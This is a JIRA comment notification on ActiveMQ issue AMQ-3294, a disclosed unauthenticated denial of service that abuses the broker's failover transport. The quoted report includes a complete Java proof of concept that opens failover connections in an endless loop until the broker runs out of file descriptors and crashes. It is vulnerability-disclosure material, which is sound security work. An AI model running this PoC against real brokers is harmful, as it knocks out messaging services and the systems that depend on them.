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https://issues.apache.org/jira/browse/AMQ-3294?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=13094720#comment-13094720
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Luca Carettoni commented on AMQ-3294:
-------------------------------------
Gary, thanks for your follow-up!
Haven't tested it yet but it looks indeed as a possible workaround - at least
to avoid a brutal crash.
I've just downloaded the latest stable (5.5.0) and it does not include this
configuration option in any of the configuration templates. From the security
standpoint, it will be great to see this transport option enabled by default
with a reasonable value.
> ActiveMQ failover Denial of Service
> -----------------------------------
>
> Key: AMQ-3294
> URL: https://issues.apache.org/jira/browse/AMQ-3294
> Project: ActiveMQ
> Issue Type: Bug
> Components: Broker
> Affects Versions: 5.2.0, 5.5.0
> Environment: Linux ubuntu 2.6.32-30-generic and other Linux versions
> Reporter: Luca Carettoni
> Labels: security
>
> Abusing the 'failover' feature in ActiveMQ, an unauthenticated user can
> trigger a Denial of Service condition against the broker service.
> In detail, an attacker can issue multiple ActiveMQ openwire connection
> requests using the following connection string:
failover:tcp://<IP>:61616
> Due to the 'failure' mechanism, all TCP connections remain active even if a
> valid session is not created.
> Please note that no valid credentials have been used.
> After a few thousand requests, a "java.net.SocketException: Too many open
> files" exception is triggered causing the freeze/crash of the broker.
> Connected systems may crash as well.
> During my test, the attack took around 4 minutes (in a local network) and it
> is highly reliable. This is most likely an abuse of the 'failover'
> functionality.
> I've been testing version 5.2.0 and also the latest 5.5.0 release. As both
> releases are affected, I assume that this issue is present in other versions
> as well. The problem appears in the default configuration as well as with
> different authentication plugins enabled.
> Proof-Of-Concept:
> --------------------
> package openwireclient;
> import javax.jms.*;
> import org.apache.activemq.ActiveMQConnectionFactory;
> public class GoAndCrash {
> private static String url = "failover:tcp://";
> public static void main(String[] args) throws JMSException {
> System.out.println("\n--[ ActiveMQ Denial of Service PoC ]\n");
> url = url.concat(args[0] + ":" + args[1]);
> int cont = 0;
> while (true) {
> try {
> System.out.println("[*] Request #" + cont);
> ConnectionFactory connectionFactory = new
> ActiveMQConnectionFactory("invalidUser", "invalidPass", url);
> Connection connection = connectionFactory.createConnection();
> cont++;
> connection.start();
> } catch (Exception ex) {
> //do nothing
> }
> }
> }
> }
> --------------------
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